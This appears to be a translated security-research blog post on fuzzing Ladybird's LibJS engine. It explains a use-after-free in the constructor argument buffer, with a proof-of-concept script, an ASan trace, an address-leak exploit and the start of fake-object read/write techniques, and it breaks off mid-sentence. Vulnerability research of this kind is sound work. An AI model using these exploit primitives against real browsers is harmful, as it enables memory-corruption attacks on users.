攻破 Ladybird 浏览器:一次 LibJS 漏洞挖掘之旅
Jess's Cafe
攻破 Ladybird 浏览器
2025 年 4 月 23 日
引言
Ladybird 是一个相对较新的浏览器引擎,起源于 SerenityOS project。目前,它还处于 pre-alpha 阶段,但发展迅速。请查看网站和 GitHub 了解更多信息!
我将研究 Ladybird 的 JavaScript 引擎,LibJS。
架构
LibJS 只有一个解释器层,没有编译层(目前!)。它包含了常见的现代 JS 引擎优化,并且在关键代码路径和数据结构(包括 vectors)上构建了广泛的验证检查,使得诸如整数溢出导致越界访问之类的场景更难利用。
Fuzzing
我们将使用 Fuzzilli,这是一款流行的 JavaScript 解释器模糊测试工具。以下是来自 GitHub 的描述:
一款(覆盖率)引导的模糊测试工具,适用于基于自定义中间语言 ("FuzzIL") 的动态语言解释器,该语言可以被修改并翻译成 JavaScript。- Fuzzilli
Fuzzilli 可以配置额外的代码生成器,这些生成器可以专门用于触发特定漏洞。LibJS 没有被积极地进行 OSS-fuzzing,所以我没有添加任何自定义生成器,希望周围存在足够的浅层漏洞。LibJS 中已经存在一些持久的模糊测试代码。经过一些工作后——比如需要编译和链接 Skia 与 RTTI (Nix 💜),修复一些构建脚本,以及使用额外的 profile 编译 Fuzzilli(同样,Nix 在这方面很棒)——我让这一切都运转起来了!
我运行了模糊测试器约 10 天,发现了 10 个独特的崩溃。很多漏洞都很无聊:
有一些漏洞更有趣:
最初,我以为 regex 漏洞是一个整数溢出……不幸的是,它不是。TypedArray
中真正的整数溢出看起来很有希望——但由于所有保护 vectors 免受不良访问的边界检查,它似乎很难利用。
有三个漏洞看起来非常好:一个堆缓冲区溢出,垃圾收集器中的 freelist 损坏(或 UAF),以及 malloc 堆中的堆 use-after-free (UAF)。但不幸的是,只有最后一个 UAF 可以在 Fuzzilli 之外重现。我仍然不确定为什么其他的没有重现。This 是堆缓冲区溢出的崩溃报告,this 是 freelist 损坏的崩溃报告,如果你感兴趣的话。
漏洞
一个有漏洞的函数
该漏洞是解释器的参数缓冲区上的 use-after-free (UAF)。它通过使用 proxied function object 作为构造函数,以及恶意的 [[Get]]
handler 来触发。
考虑以下 JavaScript:
function Construct() {}
new Construct();
语义概述 here。
这是它在 Ladybird 中的实现方式:
// 10.2.2 [[Construct]] ( argumentsList, newTarget )
ThrowCompletionOr<GC::Ref<Object>> ECMAScriptFunctionObject::internal_construct(
ReadonlySpan<Value> arguments_list, // [1]
FunctionObject& new_target
) {
auto& vm = this->vm();
// 1. Let callerContext be the running execution context.
// NOTE: No-op, kept by the VM in its execution context stack.
// 2. Let kind be F.[[ConstructorKind]].
auto kind = m_constructor_kind;
GC::Ptr<Object> this_argument;
// 3. If kind is base, then
if (kind == ConstructorKind::Base) {
// [2]
// a. Let thisArgument be ? OrdinaryCreateFromConstructor(newTarget, "%Object.prototype%").
this_argument = TRY(ordinary_create_from_constructor<Object>(
vm,
new_target,
&Intrinsics::object_prototype,
ConstructWithPrototypeTag::Tag
));
}
auto callee_context = ExecutionContext::create();
// [3]
// Non-standard
callee_context->arguments.ensure_capacity(max(arguments_list.size(), m_formal_parameters.size()));
callee_context->arguments.append(arguments_list.data(), arguments_list.size());
callee_context->passed_argument_count = arguments_list.size();
if (arguments_list.size() < m_formal_parameters.size()) {
for (size_t i = arguments_list.size(); i < m_formal_parameters.size(); ++i)
callee_context->arguments.append(js_undefined());
}
// [3 cont.] ...
关键部分是:
- 首先,它获取对参数缓冲区
arguments_list
的引用。[1] - 然后,它创建一个与构造函数函数具有相同 prototype 的新对象。[2]
- 然后,它使用
arguments_list
中的参数执行构造函数。[3]
如果在 [1] 和 [3] 之间的任何时刻 free()
了 arguments_list
引用的 vector,那么 arguments_list
将悬空;当它用于函数调用时,会导致 use-after-free。
让我们看一下在 [2] 处调用的 ordinary_create_from_constructor
:
// 10.1.13 OrdinaryCreateFromConstructor ( constructor, intrinsicDefaultProto [ , internalSlotsList ] )
template<typename T, typename... Args>
ThrowCompletionOr<GC::Ref<T>> ordinary_create_from_constructor(
VM& vm,
FunctionObject const& constructor,
GC::Ref<Object> (Intrinsics::*intrinsic_default_prototype)(),
Args&&... args)
{
auto& realm = *vm.current_realm();
auto* prototype = TRY(get_prototype_from_constructor(vm, constructor, intrinsic_default_prototype));
return realm.create<T>(forward<Args>(args)..., *prototype);
}
它执行以下操作:
- 获取构造函数函数的 prototype
- 使用该 prototype 创建一个新的 JavaScript 对象
这是一个简单的方法,但如果构造函数恰好是一个 proxy object,它可能会有副作用。如果我们覆盖构造函数函数的 [[Get]]
内部方法,则对 get_prototype_from_constructor
的调用可以执行任意 JavaScript 代码。如果我们可以让该代码释放参数缓冲区,这将非常有用。
参数缓冲区
解释器将函数调用的参数存储在一个名为 m_argument_values_buffer
的 vector 中。它可以增长、缩小、释放或重新分配——我们可以控制何时发生这种情况。例如,如果当前缓冲区包含 5 个 JS 值,并且我们运行:
foo(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
那么缓冲区将需要被释放并在某处重新分配,以便容纳 10 个 JS 值。使用这个,我们可以释放解释器的内部参数缓冲区——arguments_list
_仍然_指向的同一个缓冲区——在它用于为后续的构造函数调用设置 callee_context
之前。
修复方法是在构建 callee context 之后严格执行 prototype [[Get]]
。Here’s the patch.
这是一个例子:
function Construct() {}
let handler = {
get() {
function meow() {}
meow(0x41, 0x41, 0x41);
}
};
let ConstructProxy = new Proxy(Construct, handler);
new ConstructProxy(0x41);
我们使用尝试重新分配参数缓冲区的函数覆盖 Construct
的 [[Get]]
内部方法。然后我们调用构造函数来触发该漏洞。
➜ ladybird git:(b8fa355a21) ✗ js bug.js
=================================================================
==8726==ERROR: AddressSanitizer: heap-use-after-free on address 0x5020000038f0 at pc 0x7f98dd1bf19e bp 0x7ffcc8ee2ef0 sp 0x7ffcc8ee2ee8
READ of size 8 at 0x5020000038f0 thread T0
#0 0x7f98dd1bf19d (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbf19d)
#1 0x7f98dd1bdf8f (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbdf8f)
#2 0x7f98dd22a555 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc2a555)
#3 0x7f98dd539cdd (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf39cdd)
#4 0x7f98dce78c0e (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x878c0e)
#5 0x7f98dcdcdc0a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cdc0a)
#6 0x7f98dcdb818a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
#7 0x7f98dcdb6971 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
#8 0x562b5099e2a2 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
#9 0x562b5099b114 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
#10 0x562b509c1029 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
#11 0x7f98dae2a1fd (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
#12 0x7f98dae2a2b8 (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a2b8) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
#13 0x562b5084ed14 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x42d14)
0x5020000038f0 is located 0 bytes inside of 16-byte region [0x5020000038f0,0x502000003900)
freed by thread T0 here:
#0 0x562b50940bf8 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x134bf8)
#1 0x7f98dcd39e1e (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x739e1e)
#2 0x7f98dcd3963d (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x73963d)
#3 0x7f98dce90c12 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x890c12)
#4 0x7f98dcdcd014 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cd014)
#5 0x7f98dcdb818a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
#6 0x7f98dd228b7f (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc28b7f)
#7 0x7f98dd225cf6 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc25cf6)
#8 0x7f98dd530b92 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf30b92)
#9 0x7f98dd48e458 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xe8e458)
#10 0x7f98dd09a76f (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xa9a76f)
#11 0x7f98dd232d4b (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc32d4b)
#12 0x7f98dd22a381 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc2a381)
#13 0x7f98dd539cdd (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf39cdd)
#14 0x7f98dce78c0e (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x878c0e)
#15 0x7f98dcdcdc0a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cdc0a)
#16 0x7f98dcdb818a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
#17 0x7f98dcdb6971 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
#18 0x562b5099e2a2 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
#19 0x562b5099b114 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
#20 0x562b509c1029 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
#21 0x7f98dae2a1fd (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
previously allocated by thread T0 here:
#0 0x562b50941bc7 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x135bc7)
#1 0x7f98dcd39c7f (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x739c7f)
#2 0x7f98dcd3963d (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x73963d)
#3 0x7f98dce90c12 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x890c12)
#4 0x7f98dcdcc161 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cc161)
#5 0x7f98dcdb818a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
#6 0x7f98dcdb6971 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
#7 0x562b5099e2a2 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
#8 0x562b5099b114 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
#9 0x562b509c1029 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
#10 0x7f98dae2a1fd (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
SUMMARY: AddressSanitizer: heap-use-after-free (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbf19d)
Shadow bytes around the buggy address:
0x502000003600: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x502000003680: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x502000003700: fa fa 00 fa fa fa fd fa fa fa fd fa fa fa 00 fa
0x502000003780: fa fa 00 00 fa fa 00 fa fa fa 00 00 fa fa 00 00
0x502000003800: fa fa fd fd fa fa fd fa fa fa 00 fa fa fa 00 fa
=>0x502000003880: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa[fd]fd
0x502000003900: fa fa 00 fa fa fa 00 fa fa fa 00 00 fa fa 00 fa
0x502000003980: fa fa 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000003a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000003a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000003b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==8726==ABORTING
利用
UAF 通常是很好的原始操作。在这种情况下,UAF 发生在 glibc malloc 堆中(因为参数缓冲区是在那里分配的),而不是在垃圾回收的 arena 中,很多对象实际上都驻留在其中。malloc 堆主要保存 backing buffers 等,在寻找用于泄漏的正确对象时引入了一些复杂性;尽管强大的 primitives 在某种程度上缓解了这一点。
泄漏一个对象
我们可以通过将指针放在旧的 arguments_list
分配中的某个位置,然后从构造函数内部读取 arguments
对象来创建一个 addrof
-capability。
这是一个我们如何泄漏对象地址的示例:
let target = {};
let linked = new FinalizationRegistry(() => {});
function meow() {}
let handler = {
get() {
// [2]
// allocate more than 0x30 to free the chunk
meow(0x1, 0x2, 0x3, 0x4, 0x5, 0x6);
// [3]
// allocate the free'd chunk, with pointer to the target
linked.register(target, undefined, undefined, undefined, undefined, undefined)
}
};
function Construct() {
// [4]
// read the linked list node, containing the pointer
console.log(arguments)
}
let ConstructProxy = new Proxy(Construct, handler);
// [1]
// allocate a 0x30 chunk
// 0x8 * 5 (js values) + 0x8 (malloc metadata) = 0x30
new ConstructProxy(0x1, 0x2, 0x3, 0x4, 0x5);
[3] 上的一系列 undefined
参数是为了确保 linked list node 被分配在我们的 free chunk 中,而不是任何 prelude allocations 中。
FinalizationRegistry
将带有对象指针的 linked list nodes 放置在 malloc 堆上,从而使它们成为泄漏的有用结构。运行该漏洞利用程序,如果我们重复几次,我们就会得到指针的双精度表示,它们会略有变化,受 ASLR 的影响。
➜ ladybird git:(b8fa355a21) ✗ Build/old/bin/js arguments.js
ArgumentsObject{ "0": 6.9077829341497e-310, "1": undefined, "2": 0, "3": 0, "4": 5 }
➜ ladybird git:(b8fa355a21) ✗ Build/old/bin/js arguments.js
ArgumentsObject{ "0": 6.8997364430636e-310, "1": undefined, "2": 0, "3": 0, "4": 5 }
而且,当我们 pack
成原始字节时,我们确实得到了指针!
>>> struct.pack("<d", 6.8997364430636e-310)[::-1].hex()
'00007f0350fc2118'
创建一个假对象
我们可以用类似的方式伪造一个 JavaScript 对象指针。我们在 arguments_list
中分配一个缓冲区,将我们的假对象指针写入其中,然后在构造函数中使用该假对象。还有一些额外的考虑因素:
- 我们的
free(arguments_list)
机制依赖于 vector 重新分配,因此我们的目标结构的大小需要单调增加,并且步长足够大以触发重新分配。 - 一旦我们知道我们的假对象在哪里,我们需要按照 Ladybird 的 nan-boxing 方案对其进行标记,以便引擎知道它的类型。
除此之外,它非常相似;我们将在下一节中这样做。
任意读/写
对对象的动态属性查找由 get_by_value
函数处理,如下所示。如果 key 是一个索引 ([1]) 并且对象是 array-like ([2])(它有一个 m_indexed_properties
成员),那么该属性将从 m_indexed_properties
成员中获取。
inline ThrowCompletionOr<Value> get_by_value(
VM& vm,
Optional<IdentifierTableIndex> base_identifier,
Value base_value,
Value property_key_value,
Executable const& executable
) {
// [1]
// OPTIMIZATION: Fast path for simple Int32 indexes in array-like objects.
if (base_value.is_object() && property_key_value.is_int32() && property_key_value.as_i32() >= 0) {
auto& object = base_value.as_object();
auto index = static_cast<u32>(property_key_value.as_i32());
auto const* object_storage = object.indexed_properties().storage();
// [2]
// For "non-typed arrays":
if (!object.may_interfere_with_indexed_property_access()
&& object_storage) {
auto maybe_value = [&] {
// [3]
if (object_storage->is_simple_storage())
return static_cast<SimpleIndexedPropertyStorage const*>(object_storage)->inline_get(index);
else
return static_cast<GenericIndexedPropertyStorage const*>(object_storage)->get(index);
}();
if (maybe_value.has_value()) {
auto value = maybe_value->value;
if (!value.is_accessor())
return value;
}
}
// try some further optimizations, otherwise fallback to a generic `internal_get`
...
此外,如果存储类型为 SimpleIndexedPropertyStorage
,则使用以下方法。
[[nodiscard]] Optional<ValueAndAttributes> inline_get(u32 index) const
{
if (!inline_has_index(index))
return {};
return ValueAndAttributes { m_packed_elements.data()[index], default_attributes };
}
这使用我们的 offset 索引到 m_packed_elements
vector 中。此代码路径(索引到一个具有 SimpleIndexedPropertyStorage
的 array-like 对象)不包含 virtual function calls,这意味着我们不需要给我们的假对象一个 vtable pointer——这很有用,因为我们不需要知道它的位置。
我们设置我们的假对象,使得 m_indexed_properties
指向一个假 SimpleIndexedPropertyStorage
对象,其 m_packed_elements
然后指向读取的位置。这比听起来更简单,因为所有这些结构都可以重叠在同一内存区域中。
现在我们已经将结构布局在内存中,剩下的就是确保:
- [2] 通过:通过将
m_may_interfere_with_indexed_property_access
设置为false
- [3] 通过:通过将对象存储上的
m_is_simple_storage
设置为true
在我们